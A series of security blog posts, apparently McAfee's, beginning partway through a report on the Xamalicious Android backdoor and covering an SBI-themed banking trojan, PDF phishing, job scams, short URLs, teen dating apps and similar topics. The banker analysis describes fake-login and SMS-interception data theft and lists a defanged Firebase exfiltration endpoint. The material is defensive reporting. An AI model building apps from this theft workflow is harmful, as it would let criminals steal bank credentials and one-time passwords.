Originally published in 2019 on Google Play, “Cash Magnet” (com.uicashmagnet) was described as a passive income application offering users to earn up to $30 USD per month running automated ads. Since it was removed by Google the authors then infiltrated LetterLink and more recently “Dots: One Line Connector” (com.orlovst.dots) which are hidden versions of the same ad-fraud scheme.
Figure 9. LetterLink Icon that hides Cash Magnet
“LetterLink” performs multiple Xamalicious activities since it contains the “core.dll” library, it connects to the same C2 server, and it uses the same hardcoded private RSA certificate to build the JWE encrypted tokens which provide a non-repudiation proof that the developers of Cash Magnet are behind Xamalicious.
Figure 10. Cash Magnet infiltrated the app as a Game, available until the end of 2023
“Dots: One Line Connector” app is not a game, the screenshot published by Google Play does not correspond to the application behavior because once it is started it just asks for authentication credentials without any logo or reference to Cash Magnet. “Dots” does not contain the same DLLs as its predecessor, however the communication with the C2 is similar using the same RSA key parameters. We reported this app to Google and they promptly removed it from Google Play.
Based on our telemetry we observed that more affected users are in the American continent with the most activity in the USA, Brazil, and Argentina. In Europe, clients also reported the infection, especially in the UK, Spain, and Germany.
Figure 11. McAfee detections Android/Xamalicious around the world
Android applications written in non-java code with frameworks such as Flutter, react native and Xamarin can provide an additional layer of obfuscation to malware authors that intentionally pick these tools to avoid detection and try to stay under the radar of security vendors and keep their presence on apps markets.
Avoid using apps that require accessibility services unless there is a genuine need for use. If a new app tries to convince you to activate accessibility services claiming that it’s required without a real and reasonable reason and requesting to ignore the operative system warning, then it’s a red flag.
The second stage payload might take control of the device because accessibility permissions are granted so any other permission or action can then be performed by the malware if these instructions are provided in the injected code.
Because it is difficult for users to actively deal with all these threats, we strongly recommend that users install security software on their devices and always keep up to date. By using McAfee Mobile Security products, users can further safeguard their devices and mitigate the risks linked with these kinds of malware, providing a safer and more secure experience.

The post Stealth Backdoor “Android/Xamalicious” Actively Infecting Devices appeared first on McAfee Blog.
Authored by Neil Tyagi and Fernando Ruiz
In a digitally evolving world, the convenience of banking through mobile applications has revolutionized financial transactions. However, this advancement has also opened doors to a lesser-known adversary: Android phishing. Join us as we delve into the clandestine realm of cyber threats targeting India’s banking sector.
This blog uncovers the nuances of an Android phishing/banking trojan application identified as Android/Banker.AFX illustrates a common procedure from cybercriminals designed to drain the bank accounts of their victims:
First broadcasting phishing messages via WhatsApp and luring users to install an app that carries malicious code hidden as a verification tool. Once installed, the banking trojan can collect personal and financial information plus intercept SMS messages with the objective of stealing one-time passwords or verification codes that are required to complete transactions which may lead to stealing the banking account assets.
This trojan is just a variant and example of multiple banking trojans implementations recently observed in the wild that carry similar risks, which is not technically sophisticated but might be very effective and prevalent especially when it’s widely distributed on social media. McAfee Mobile Security protects broadly and generically against this type of banking trojans.
This blog explores the insidious tactics, alarming trends, and preventive measures against the rising tide of phishing attacks plaguing Android users in India’s financial landscape.
A sense of urgency is created for the user by warning him that the account would be blocked if he doesn’t install the APK and provide the necessary information to complete the KYC form.
These seemingly innocent prompts, meticulously crafted by cybercriminals, possess a cunning sophistication that mirrors the legitimate communication channels of banking institutions. They prey upon human curiosity, fear, and desire, tricking users into taking immediate actions that, at first glance, seem innocuous but have far-reaching consequences.
Since the app installer is triggered by Whatsapp, the installation by default should be blocked by Android unless the user previously allowed the installation of unknown apps from this source.
A warning is displayed after taping on the APK icon:
However, if users ignore the warning, they may deactivate this important security feature with just two clicks:
Now Android OS is warning about the risk of allowing the installation of unknown apps from WhatsApp. However, many users allow this option, which poses a high risk of infection.
Once the Trojan is installed, the victims will get the financial institution icon on their Android app list:
After installation, it abuses the icon of SBI to confuse the user.
Opening for the first time, it asks for SMS-related permissions.
The application’s landing page is similar to the net banking page of Real SBI.
This phishing site is locally loaded from the malware into a WebView.
The application asks for the user’s username, password, and phone number.
The Captcha used here is static. It does not change ever because all content is hardcoded locally.
As part of the KYC validation lure process, the malware collects sensitive user information such as:
After the victim inputs all the information, they are presented with a fake KYC validation code, which makes it look like a genuine procedure the user might not be suspicious about the app or the process.
Additionally, this banking trojan intercepts SMS messages and abuses Firebase to communicate with attackers. During the analysis the malware transmitted all collected information including credit card information to:
wss[:]//s-usc1a-nss-2003.firebaseio.com/.ws?v=5&ns=zero-a4c52-default-rtdb
According to the static analysis, any received SMS message would also be exfiltrated to the attackers’ servers via the opened socket communication since the app has granted SMS reading permissions at the first execution. This is implemented to extract any OTP required to complete transactions of the victim.
Exfiltrated credit card information from the local static site loaded by the malware abuses the Cordova framework. Credit card information, along with all collected information, is transmitted to the attackers using Firebase, a legitimate service that’s also abused by criminals.
Android/Banker.AXF!ML infections around the world: India is the target.
Banking trojans are not new or sophisticated but they are a persistent threat due to the lucrative business that poses for malware authors which can lure many victims that are unaware of the risk of phishing. As these campaigns can be massive even if a small percentage of targeted victims fall the criminals can have a large loot.
Cybercriminals are constantly improving their social engineering tricks to lure users into phishing and malware. The first line of defense against these threats is the user’s awareness. Some generic advises are:
McAfee Antivirus emerges as a formidable ally in the battle against Android phishing within India’s banking sector. With its robust suite of security features tailored for mobile devices, McAfee stands as a bulwark, providing critical defense mechanisms against the ever-mutating landscape of cyber threats.

A disturbing story out of western Spain spotlights challenges of technological evolution. Unwitting children and teenagers were victims of users of a deepfake app. Their families, shocked at how the events transpired, are equally frustrated by how little recourse they feel they have. Deepfake technology, which leverages sophisticated artificial intelligence to create realistic yet fabricated images and videos, has seen a significant uptick in usage, a surge partly attributed to advancements in AI. As this technology becomes more accessible, concerns about its misuse, particularly in creating unauthorized or malicious content that mimics real individuals, are growing.
To protect yourself and your family from being victimized by deepfake technology, it is crucial to understand some steps you can take.
There may be no perfect solution to the dynamic threat of deepfake fraud. As technology advances, people will find novel ways to leverage it for means both innocent and otherwise. Yet, there are still strategies organizations and individuals can employ to help prevent deepfake fraud and to mitigate the impacts of it, should it occur. Sometimes, in an ever-more-complicated online world, the best bet may be to simplify. Adopting tools like our personal data cleanup solutions or our all-in-one security platform with identity protection can fortify protection against deepfakes and other forms of fraud. The digital landscape is evolving. The good news is, you can, too.

Just when they need financial security the most, job seekers face another challenge—getting ripped off by job scams.
Scammers will capitalize on any opportunity to fleece a victim, like the holidays with ecommerce scams and tax time with IRS scams. Now, with surging employment figures, scammers have turned to job scams that harvest money and personal information from job seekers.
In some ways, the tactics bear resemblance to online dating and romance scammers who hide behind a phony profile and tell their victims a story they want to hear, namely that someone loves them. With job scams, they take on the persona of a recruiter and lure their victims with what seems like an outstanding job offer. Of course, there’s no job. It’s a scam.
These attacks have gained a degree of sophistication that they once lacked. Years prior, scammers relied on spammy emails and texts to share their bogus job offers. Now, they’re using phony profiles on social media platforms to target victims.
Social media platforms have several mechanisms in place to identity and delete the phony profiles that scammers use for these attacks. Of note, LinkedIn’s latest community report cited the removal of more than 21 million fake accounts in the first half of 2022:
Likewise, Facebook took action on 1.5 billion fake accounts in Q3 of 2022 alone, with more than 99% of them acted on before users reported them.
Still, some scammers make their way through.
As Steve Grobman, our senior vice president and chief technology officer, was quoted in an article for CNET, the continued shift to remote work, along with remote hiring, has also made it easier for online job scams to flourish. And the figures bear that out.
In 2021, the FTC called out $209 million in reported losses due to job scams. In just the first three quarters of 2022, reported job scam losses had already reached $250 million. While year-end figures have yet to be posted, the final tally for 2022 could end up well over $300 million, a 50% uptick. And the median loss per victim? Right around $2,000 each.
While the promise of work or a job offer make these scams unique, the scammers behind them want the same old things—your money, along with your personal information so that they can use it to cause yet more harm. The moment any so-called job offer asks for any of those, a red flag should immediately go up.
It’s possibly a scam if:
In the hands of a scammer, your SSN or tax ID is the master key to your identity. With it, they can open up bank cards, lines of credit, apply for insurance benefits, collect benefits and tax returns, or even commit crimes, all in your name. Needless to say, scammers will ask for it, perhaps under the guise of background check or for payroll purposes. The only time you should provide your SSN or tax ID is when you know that you have accepted a legitimate job with a legitimate company, and through a secure document signing service, never via email, text, or over the phone.
Another trick scammers rely on is asking for bank account information so that they can wire payment to you. As with the SSN above, closely guard this information and treat it in exactly the same way. Don’t give it out unless you actually have a legitimate job with a legitimate company.
Some scammers will take a different route. They’ll promise employment, but first you’ll need to pay them for training, onboarding, or equipment before you can start work. Legitimate companies won’t make these kinds of requests.
Aside from the types of information they ask for, the way they ask for your information offers other clues that you might be mixed up in a scam. Look out for the following as well:
You can sniff out many online scams with the “too good to be true” test. Scammers often make big promises during the holidays with low-priced offers for hard-to-get holiday gifts and then simply don’t deliver. It’s the same with job scams. The high pay, the low hours, and even the offer of things like a laptop and other perks, these are signs that a job offer might be a scam. Moreover, when pressed for details about this seemingly fantastic job opportunity, scammers may balk. Or they may come back with incomplete or inconsistent replies because the job doesn’t exist at all.
Job scammers hide behind their screens. They use the anonymity of the internet to their advantage. Job scammers likewise create phony profiles on networking and social media websites, which means they won’t agree to a video chat or call, which are commonly used in legitimate recruiting today. If your job offer doesn’t involve some sort of face-to-face communication, that’s an indication it may be a scam.
Scammers now have an additional tool reel in their victims—AI chatbots like Chat GPT, which can generate email correspondence, chats, LinkedIn profiles, and other content in seconds so they can bilk victims on a huge scale. However, AI has its limits. Right now, it tends to use shorter sentences in a way that seems like it’s simply spitting out information. There’s little story or substance to the content it creates. That may be a sign of a scam. Likewise, even without AI, you may spot a recruiter using technical or job-related terms in an unusual ways, as if they’re unfamiliar with the work they’re hiring for. That’s another potential sign.
Scammers love a quick conversion. Yet job seekers today know that interview processes are typically long and involved, often relying on several rounds of interviews and loops. If a job offer comes along without the usual rigor and the recruiter is asking for personal information practically right away, that’s another near-certain sign of a scam.
This is another red flag. Legitimate businesses stick to platforms associated with networking for business purposes, typically not networking for families, friends, and interests. Why do scammers use sites like Facebook anyway? They’re a gold mine of information. By trolling public profiles, they have access to years of posts and armloads of personal information on thousands of people, which they can use to target their attacks. This is another good reason to set your social media profiles on platforms like Facebook, Instagram, and other friend-oriented sites to private so that scammers of all kinds, not just job scammers, can’t use your information against you.
As a job hunter you know, getting the right job requires some research. You look up the company, dig into their history—the work they do, how long they’ve been at it, where their locations are, and maybe even read some reviews provided by current or former employees. When it comes to job offers that come out of the blue, it calls for taking that research a step further.
After all, is that business really a business, or is it really a scam?
In the U.S., you have several resources that can help you answer that question. The Better Business Bureau (BBB) offers a searchable listing of businesses in the U.S., along with a brief profile, a rating, and even a list of complaints (and company responses) waged against them. Spending some time here can quickly shed light on the legitimacy of a company.
Also in the U.S., you can visit the website of your state’s Secretary of State and search for the business in question, where you can find when it was founded, if it’s still active, or if it exists at all. For businesses based in a state other than your own, you can visit that state’s Secretary of State website for information. For a state-by-state list of Secretaries of State, you can visit the Secretary of State Corporate Search page here.
For a listing of businesses with international locations, organizations like S&P Global Ratings and the Dun and Bradstreet Corporation can provide background information, which may require signing up for an account.
Given the way rely so heavily on the internet to get things done and simply enjoy our day, comprehensive online protection software that looks out for your identity, privacy, and devices is a must. Specific to job scams, it can help you in several ways, these being just a few:
Job searches are loaded with emotion—excitement and hopefulness, sometimes urgency and frustration as well. Scammers will always lean into these emotions and hope to catch you off your guard. If there’s a common thread across all kinds of online scams, that’s it. Emotion.
A combination of a cool head and some precautionary measures that protect you and your devices can make for a much safer job-hunting experience, and a safer, more private life online too.
Editor’s Note:
Job scams are a crime. If you think that you or someone you know has fallen victim to one, report it to your authorities and appropriate government agencies. In the case of identity theft or loss of personal information, our knowledge base article on identity theft offers suggestions for the specific steps you can take in specific countries, along with helpful links for local authorities that you can turn to for reporting and assistance.

Phishing attackers aim to deceive individuals into revealing sensitive information for financial gain, credential theft, corporate network access, and spreading malware. This method often involves social engineering tactics, exploiting psychological factors to manipulate victims into compromising actions that can have profound consequences for personal and organizational security.
Over the last four months, McAfee Labs has observed a rising trend in the utilization of PDF documents for conducting a succession of phishing campaigns. These PDFs were delivered as email attachments.
Attackers favor using PDFs for phishing due to the file format’s widespread trustworthiness. PDFs, commonly seen as legitimate documents, provide a versatile platform for embedding malicious links, content, or exploits. By leveraging social engineering and exploiting the familiarity users have with PDF attachments, attackers increase the likelihood of successful phishing campaigns. Additionally, PDFs offer a means to bypass email filters that may focus on detecting threats in other file formats.
The observed phishing campaigns using PDFs were diverse, abusing various brands such as Amazon and Apple. Attackers often impersonate well-known and trusted entities, increasing the chances of luring users into interacting with the malicious content. Additionally, we will delve into distinct types of URLs utilized by attackers. By understanding the themes and URL patterns, readers can enhance their awareness and better recognize potential phishing attempts.
Figure 1 – PDF Phishing Geo Heatmap showing McAfee customers targeted in last 1 month
Attackers employ a range of corporate themes in their social engineering tactics to entice victims into clicking on phishing links. Notable brands such as Amazon, Apple, Netflix, and PayPal, among others, are often mimicked. The PDFs are carefully crafted to induce a sense of urgency in the victim’s mind, utilizing phrases like “your account needs to be updated” or “your ID has expired.” These tactics aim to manipulate individuals into taking prompt action, contributing to the success of the phishing campaigns.
Below are some of the examples:
Figure 2 – Fake Amazon PDF Phish
Figure 3 – Fake Apple PDF Phish
Figure 4 – Fake Internal Revenue Service PDF Phish
Figure 5 – Fake Adobe PDF Phish
Below are the stats on the volume of various themes we have seen in these phishing campaigns.
Figure 6 – Different themed campaign stats based on McAfee customers hits in last 1 month
Cyber attackers are exploiting the popular professional networking platform LinkedIn and leveraging Google Apps Script to redirect users to phishing websites. Let us examine each method of abuse individually.
In the case of LinkedIn, attackers are utilizing smart links to circumvent Anti-Virus and other security measures. Smart links are integral to the LinkedIn Sales Navigator service, designed for tracking and marketing business accounts.
Figure 7 – LinkedIn Smart link redirecting to an external website
By employing these smart links, attackers redirect their victims to phishing pages. This strategic approach allows them to bypass traditional protection measures, as the use of LinkedIn as a referrer adds an element of legitimacy, making it more challenging for security systems to detect and block malicious activity.
In addition to exploiting LinkedIn, attackers are leveraging the functionality of Google Apps Script to redirect users to phishing pages. Google Apps Script serves as a JavaScript-based development platform used for creating web applications and various other functionalities. Attackers embed malicious or phishing code within this platform, and when victims access the associated URLs, it triggers the display of phishing or malicious pages.
Figure 8 – Amazon fake page displayed on accessing Google script URL
As shown in Figure 8, when victims click on the “Continue” button, they are subsequently redirected to a phishing website.
Crafting highly convincing PDFs mimicking legitimate companies has become effortlessly achievable for attackers. These meticulously engineered PDFs create a sense of urgency through skillful social engineering, prompting unsuspecting customers to click on embedded phishing links. Upon taking the bait, individuals are redirected to deceptive phishing websites, where attackers request sensitive information. This sophisticated tactic is deployed on a global scale, with these convincing PDFs distributed to thousands of customers worldwide. Specifically, we highlighted the increasing use of PDFs in phishing campaigns over the past four months, with attackers adopting diverse themes such as Amazon and Apple to exploit user trust. Notably, phishing tactics extend to popular platforms like LinkedIn, where attackers leverage smart links to redirect victims to phishing pages, evading traditional security measures. Additionally, Google Apps Script is exploited for its JavaScript-based functionality, allowing attackers to embed malicious code and direct users to deceptive websites.
Protecting oneself from phishing requires a combination of awareness, caution, and security practices. Here are some key steps to help safeguard against phishing:
McAfee provides coverage against a broad spectrum of active phishing campaigns, offering protection through features such as real-time scanning and URL filtering. While it enhances security against various phishing attempts, users must remain vigilant and adopt responsible online practices along with using McAfee.

It’s a common practice for many of us to share jokes, memes, and funny anecdotes with friends and family. With the advent of messaging and social media applications, this habit has become increasingly frequent and convenient, allowing humor to be shared at the click of a button. While we often perceive this as harmless fun, it’s essential to address a question that we don’t ask ourselves often enough: Are we forwarding jokes or inadvertently distributing spam?
The aim of this article is to offer an in-depth look at where the line between seemingly innocent forwards and potentially harmful spam lies. We will examine the characteristics of spam, the potential dangers of forwarding messages without due thought, and constructive steps we can take to ensure that our love for sharing humor does not metamorphose into inadvertent spamming.
Spam, in its most fundamental form, is any unwanted or unsolicited message that is sent in bulk. In the context of digital communication, they are typically commercial or promotional messages that are sent out repeatedly over the internet. Nevertheless, the definition of spam has evolved with the advancement in technology and the changing dynamics of digital communication. Today, any message that is repeatedly forwarded, irrespective of its content or intent, can fall within the category of spam.
The problem with spam is not just its annoying persistence or disruption of an otherwise clean inbox. It’s the potential threats and harm it may bring with it. Spams can contain links to malware or phishing sites, they can engage in the promotion of scams, or initiate chain letters. Hence, it’s not just the content of the message that essentially defines spam, but its potential for causing harm, intrusion, and annoyance.
→ Dig Deeper: Scam Texts Are More Painful Than Getting a Root Canal
When we forward a joke or a meme, our intention is to share a moment of laughter or light-heartedness with our contacts. However, without realizing it, we may be crossing the boundary between a simple forward and spam. If a forward is sent out in bulk, repeatedly, and without the recipient’s consent, it can be considered spam irrespective of its content. To put it bluntly, even a joke can be classified as spam if it doesn’t meet the criteria of a wanted, solicited, and single-instance message.
The issue here is also about the recipient’s perception. What one may find funny, another might find irritating, especially if sent repeatedly. It’s also crucial to remember that not everyone in your contact list might share your sense of humor. Hence, a joke forwarded with the best of intentions might end up being an unwelcome intrusion into someone’s inbox and, hence, spam.
When we forward a message, particularly to a large group, we rarely consider the origin of the content we’re sharing. In these days of misinformation and digital threats, this can pose significant risks. Sharing a joke might seem harmless, but if that joke contains a link or an attachment, it could actually be a gateway to malicious software or a phishing attempt. By forwarding such a message, you are potentially spreading a digital threat among your contacts.
Additionally, sending out bulk messages can make you a target for spam-related penalties. Most email service providers have policies against spamming in place. If a number of recipients mark your ‘jokes’ or forwards as spam, your email ID could be flagged, and you could face restrictions on your ability to send emails. This could potentially disrupt personal or work-related communication.
So, how can we ensure that our love for sharing humor doesn’t turn into unintentional spamming? The answer lies in being thoughtful, responsible, and aware digital communicators. Here are a few practical steps we can take:
Firstly, it’s important to understand the nature of the content we’re forwarding. If the message contains links, ensure they are safe and lead to credible sources. Avoid forwarding messages with attachments unless you’re sure about their origin and content. Secondly, consider the frequency of your forwards. If you’re sending the same joke or meme to multiple recipients repetitively, you might want to reconsider. Not only could this be perceived as spam, but it also dilutes the genuine moments of shared humor.
Always be mindful of the recipient’s consent. Just because someone is in your contact list does not automatically mean they consent to receive forwards from you. Ensure you have their permission before sending them any content. For instance, having separate WhatsApp groups or email threads for joke-sharing where all members have willingly joined could be an effective way of ensuring consent. Lastly, maintain some diversity in your forwards. If your jokes are always about a certain topic, they might not just be perceived as spam but possibly offensive too.
On a broader level, respecting digital etiquette can help prevent unintentional spamming. This includes being mindful of the time you send your messages, not sharing excessively private or sensitive information, not sending bulk messages, and overall, respecting the digital space of others as you would want yours to be respected.

Being a responsible digital communicator does not just involve our individual actions, but also how we utilize technology to safeguard ourselves and others from spam. Many platforms now offer features to help control and prevent spam. For instance, email platforms provide options to report spam or block certain email IDs from sending you messages. On WhatsApp, there are options to restrict who can add you to group chats, which can help prevent unsolicited forwards.
There are also spam filters, which automatically screen your emails based on certain parameters and filter out potential spam. They are not always 100% accurate, and sometimes, genuine emails might end up in the spam folder, too. It’s important to check your spam folder periodically and mark the genuine emails as ‘Not spam’ so that the filter can learn and improve its screening process.
Spam detection tools and software are also available. They analyze the content of the message, the sender’s details, the frequency of such messages, etc., to determine if the message is spam or not. Some internet service providers also offer spam reporting services, which can help track and block the sources of spam.
McAfee Pro Tip: The tables have shifted. Now, you can leverage AI to detect and prevent harmful scam texts. With our new McAfee Scam Protection, it automatically recognizes and notifies you of potential threats from dangerous URLs in your texts. Say goodbye to uncertainties about the authenticity of package delivery messages or bank notifications.
In addition to using these tools, keeping our devices updated with the latest software versions and having good security software installed can also provide a strong line of defense against spam and its associated threats.
Sharing jokes and light-hearted content with our contacts can certainly add a touch of humor to our digital interactions. However, it’s important to be mindful of the line between sharing a joke and spamming. The potential risks associated with spam are real and can lead to harmful consequences.
By being aware of the nature of spam, practicing responsible digital communication, respecting the consent and digital space of others, and utilizing technology effectively, we can ensure that our forwards remain sources of joy and do not turn into unwanted spam.
In the end, it’s about striking a balance between sharing humor and preventing spam. With a bit of awareness and preventive measures, we can certainly achieve this balance and continue to spread smiles without unintentionally spreading spam. Be informed and spread awareness with McAfee.

Technology has permeated almost every aspect of our lives, including our romantic involvements. This is especially evident in the increasing prevalence of dating apps among teenagers. While these platforms can offer exciting opportunities for meeting new people and exploring romantic interests, they also present a considerable risk, especially to a vulnerable age group.
As a parent, you might feel caught in a dilemma. On one hand, you want to respect your teen’s privacy and independence. On the other, you worry about the potential dangers lurking behind these digital platforms. This article aims to shed light on the risks associated with teenage use of dating apps and offers practical advice on how to navigate this tricky territory.
Before we delve into the potential harm associated with dating apps, it’s important to comprehend why they are increasingly popular among teenagers. Essentially, these platforms provide an easy and convenient way for teens to connect with others, particularly during a pandemic when physical interactions are limited.
Moreover, dating apps may seem enticing due to their perceived freedom and anonymity. They allow teens to explore their own identities and relationships without the immediate scrutiny or judgment inherent in offline social settings. Such apps also hold the promise of romance and excitement, feeding into the natural curiosity and development of adolescents.
While dating apps can help in forging connections, they also have a darker side that cannot be ignored. One of the main issues is that they often cater to an adult audience, exposing teenagers to mature content and interactions they might not be equipped to handle. This could include explicit sexual content, cyberbullying, or even predatory behavior.
Further, many apps do not verify users’ ages, making it easy for older individuals to interact with younger users – a practice that can potentially lead to grooming and exploitation. While some might argue that ‘age is just a number,’ when it comes to online safety, even a few years can make a significant difference. A 19-year-old chatting with a 14-year-old might not seem like a big deal, but when you factor in the vast differences in maturity and life experience, the dynamic becomes more concerning.

In addition to the immediate dangers of inappropriate content and interactions, the use of dating apps also raises serious concerns about online privacy and data security. These platforms usually require a significant amount of personal information from users — everything from their name and location to personal preferences and pictures.
This data can be misused, leading to identity theft, online stalking, or other forms of cybercrime. Also, once information is shared online, it becomes almost impossible to completely erase it. A seemingly innocent picture or remark can resurface years later, potentially affecting future career prospects or personal relationships.
Dating apps have become increasingly prevalent, opening up new avenues for meeting people. While these platforms can be a way to connect, they also pose potential dangers, especially for young users. As a parent, it’s crucial to be proactive in safeguarding your kids from the risks associated with dating apps. This guide will provide you with essential tips and insights on how to protect your children and educate them about responsible online behavior, ensuring their safety in the world of digital dating:
Confronting your teen about the risks of dating apps can be a daunting task, especially if you are met with resistance or the classic “You just don’t understand” retort. So, how can you approach this subject effectively? One of the most crucial steps is to maintain open lines of communication.
Encourage your teen to share their experiences online, and assure them that they can come to you with their concerns or fears without judgment. Regularly discussing online safety might seem repetitive, but it is a crucial aspect of ensuring your child is well-equipped to navigate the online world safely and responsibly.
Remember, banning or strictly controlling internet use might seem like the easiest solution, but it can backfire by causing your teen to become more secretive or rebellious. Instead, strive to cultivate an environment where your teen feels comfortable discussing their online activities, helping them understand the potential risks and consequences.
McAfee Pro Tip: Balancing screen time and healthy device use is a constant challenge for parents. While devices connect kids to identity and peer acceptance, they also open the door to issues like cyberbullying, predators, risky behavior, and self-image struggles. We advise you to find and identify the right time to implement parental controls.
The next step after open communication is teaching responsible online behavior. It is essential to educate our children on the basic principles of online safety. This includes understanding privacy settings, the dangers of sharing personal information, and the importance of reporting any suspicious activity.
Moreover, explaining the permanence of internet actions can help teens grasp the seriousness of their online conduct. Highlight real-life examples of individuals who have faced the consequences due to inappropriate online behavior to drive your points home.
If your child is using or is interested in using dating apps, it’s crucial to do your homework. Familiarize yourself with the apps they are using or are curious about – download them, explore their interfaces, and understand their privacy settings. This will help you create a natural dialogue about their usage and will empower you to offer guidance on their functionality and potential risks. For instance, some apps may have location-sharing features that might be dangerous, while others might have robust reporting systems against harassment or bullying.
Then, open a conversation about these apps. Discuss the benefits and dangers of using them, reinforcing the principles of responsible online behavior. This discussion should cover what information should never be shared (like home address or school location), the importance of reporting inappropriate behavior, and the potential emotional implications of engaging romantically with strangers online. By maintaining an approachable and non-judgmental attitude, your teen is more likely to listen and take your advice seriously.

While education and open conversation are the foundation of promoting online safety, sometimes, they might not be enough. In such cases, it might become necessary to put certain restrictions in place, which can be done in collaboration with your teen. These could include setting time limits for app usage, employing parental control software, or checking the age restrictions for each app. You could also encourage your teen to only use apps with verified users.
However, these restrictions should not be imposed without discussion. It is important to involve your teen in the decision-making process, explaining your concerns and hearing their point of view. By treating them as partners in their online safety, you not only empower them to make wise decisions but also foster a sense of responsibility towards their online behavior.
Finally, building resilience in your teenager is an invaluable tool in navigating the online world. Dating apps can amplify feelings of rejection, comparison, and inadequacy. Regularly reminding them that their online interactions do not define their worth can help cultivate a healthy online attitude. You should reassure them that it’s okay to turn down advances or stop conversations that make them feel uncomfortable.
Encouraging them to keep their real-world connections strong and to participate in offline activities can also help in grounding their sense of self-worth outside of the digital realm. This resilience will not only safeguard them within the online dating scene but is a life skill that can be applied in all aspects of their lives.

As parents, we find ourselves in uncharted territories, navigating a digital landscape that we did not experience in our adolescence. But with open communication, education, implementing safety measures, and building resilience, we can help our teens explore these platforms safely. Remember, the goal is not to control every aspect of their online life but to guide and empower them to make responsible choices. After all, we are not just raising children, but future adults. It might seem daunting and even overwhelming at times, but together, we can equip them with the tools they need to stay safe in the online world.
Ensuring your child’s online safety is vital, and McAfee is here to help you safeguard them against the dangers of social media platforms and dating apps. Empower yourself with online safety – opt for McAfee for a more secure and protected online experience.

Short-URL services have emerged as a crucial part of the way we use the Internet. With the increasing use of social media, where the number of characters is limited, short-URL services are a useful tool for reducing a URL’s length. However, this convenience also comes with a potential risk. The anonymity provided by these services can serve as a breeding ground for online threats. This article delves deeper into the potential risks associated with using short-URL services and how you can safeguard yourself from these threats.
Short-URL services are online tools that convert a long URL into a short one. These services are often free and easy to use: you simply enter the long URL you wish to shorten and the service will generate a short URL for you. This can be particularly handy for social media platforms such as Twitter, where character limits can make sharing long URLS impractical.
The short URL does not provide any clues about the destination website – it is a random mix of letters and numbers. This lack of transparency can make it difficult for users to determine the legitimacy of the link before clicking it. Consequently, this has opened a pandora’s box for cyber threats, as ill-intentioned individuals can hide malicious links behind these short URLs.
While the brevity provided by short-URL services is a practical solution in the age of character-limited social media posts, it’s important to understand the accompanying risks. With the shortened URL, the original URL is hidden, which can make it challenging for users to discern whether the link is safe or not. This very feature is exploited by cybercriminals who mask malicious sites with short URLs, intending to trick users into visiting harmful web pages.
Phishing attacks, malware, and other types of online fraud can be hidden behind short URLs. Usually, these URLs are distributed via emails, social media, and instant messaging applications. Once clicked, these malicious links can infect a user’s device with malware or lead them to fake websites where sensitive information is collected. This manipulative tactic is known as ‘spoofing’.

The practice of using short URLs has brought about an increased level of vulnerability in cyberspace. Certain security features that help in identifying a malicious website, such as examining the URL structure or the SSL certificate, are effectively nullified by the use of short URLs. As a result, even experienced internet users can fall prey to these malicious tactics. This marks a significant shift in traditional cybersecurity threats, where the danger is now hidden behind the veil of convenience.
→ Dig Deeper: “This Connection Is Not Private” – What it Means and How to Protect Your Privacy
Even more concerning is the fact that once a short URL is generated, it remains active indefinitely. This means a malicious link can continue to exist and pose a threat long after the original malicious activity has been detected and dealt with. Given the scale at which these short URLs are generated and shared across various digital platforms, the potential for harm is vast and hard to contain.
Given the opacity provided by short-URL services, they have become a popular tool among cybercriminals. A report by the cybersecurity firm Symantec found that 87% of the malicious URLs used in massive cyber-attacks were actually short URLs. This stark statistic illustrates the size of the problem at hand and the urgent need for adequate measures to tackle it.
Short URLs are like a wolf in sheep’s clothing. They appear harmless, but the reality could be contrary. Without the ability to inspect the actual URL, users can unknowingly fall into a trap set by online fraudsters. The success of these threats relies heavily on the victim’s ignorance and the inability to determine the authenticity of the link they are clicking on.
To fully comprehend the risks associated with short URLs, let’s examine a few real-life cases where short URLs were used to spread cyber threats. In one instance, a malicious short URL was used to propagate a Facebook scam that promised users a free gift card if they clicked on the link. Instead of a gift card, the link led users to a phishing site designed to steal personal information.

In another instance, an email campaign used a short URL to spread the notorious Locky ransomware. The email contained an invoice with a short URL, which when clicked, downloaded the ransomware onto the user’s device. These two cases underscore the severe risks associated with short URLs and highlight the importance of exercising caution when dealing with such links.
While the threats presented by short URLs are real and potentially damaging, internet users are not entirely helpless against them. There are certain measures that can be taken to avoid falling victim to these threats. Below are some of the ways to ensure safe browsing habits:
Firstly, be wary of any strange or unexpected links, even if they come from trusted sources. Cybercriminals often disguise malicious links to appear as though they are from trusted sources, in a tactic known as ‘spoofing’. However, if an email or a message seems out of character or too good to be true, it’s best to avoid clicking on the link.
Secondly, consider using URL expansion services. These services allow you to enter a shortened URL and then reveal the full URL, enabling you to see where the link will take you before you click on it. This can provide an added layer of security when dealing with unfamiliar links.
Finally, keep your devices and internet security software up to date. This is a simple but effective measure against all forms of online threats, including those hidden in short URLs. By regularly updating your devices and software, you can ensure you have the most recent security patches and protections available.
McAfee Pro Tip: Enhance your online safety and privacy by employing a secure browser. A safe browser incorporates additional security features designed to thwart unauthorized third-party activities during your web surfing sessions. Know more about safe browsing.
While individual users can take steps to protect themselves, institutions also have a role to play in mitigating the threats associated with short URLs. Social media platforms, email providers and companies should all be invested in protecting their users from cyber threats. Implementing stricter URL policies, improving spam filters, and educating users about potential dangers can all help in reducing the risk.
Internet service providers can also have a hand in safeguarding users. For instance, they could monitor and block suspicious short URLs, or provide warnings to users about potential threats. While these measures may not completely eliminate the risk, they can greatly reduce the chances of users falling victim to cyber threats.
Moreover, there’s a growing need for regulatory policies around the usage and creation of short URLs. Instituting thorough checks before a short URL is generated could help in curbing the misuse of these services. Such checks could include verifying the authenticity of the original URL and scanning for potential threats.
Short-URL services undeniably offer a degree of convenience in this age of Twitter-length posts and character-limited updates. However, the potential threats that lurk behind these shortened links cannot be overlooked. Users and institutions need to balance the benefits of these services with the risks, and take appropriate measures to safeguard against potential threats.
While we cannot completely eliminate the risks associated with short URLs, by staying informed, exercising caution, and using tools and resources at our disposal, we can significantly reduce our vulnerability to these threats. In the end, it’s about promoting a safer Internet experience for everyone, where convenience doesn’t come at the cost of security.

Smart technology has been on the rise, with internet-connected devices becoming increasingly common in our homes. From smart speakers to smart fridges, these devices are designed to make our lives easier and more efficient. However, they also raise new concerns about privacy and security. One device that has been gaining popularity is the smart coffee maker. While it may seem harmless, there are potential risks associated with this seemingly innocuous device.
A smart coffee maker, like other smart appliances, connects to your home network, offering convenience features such as scheduling brew times, remote start, and customization of your coffee preferences. However, this connectivity also opens the door to potential cybersecurity threats. If not properly managed, your smart coffee maker could be brewing up more than just your morning pick-me-up.
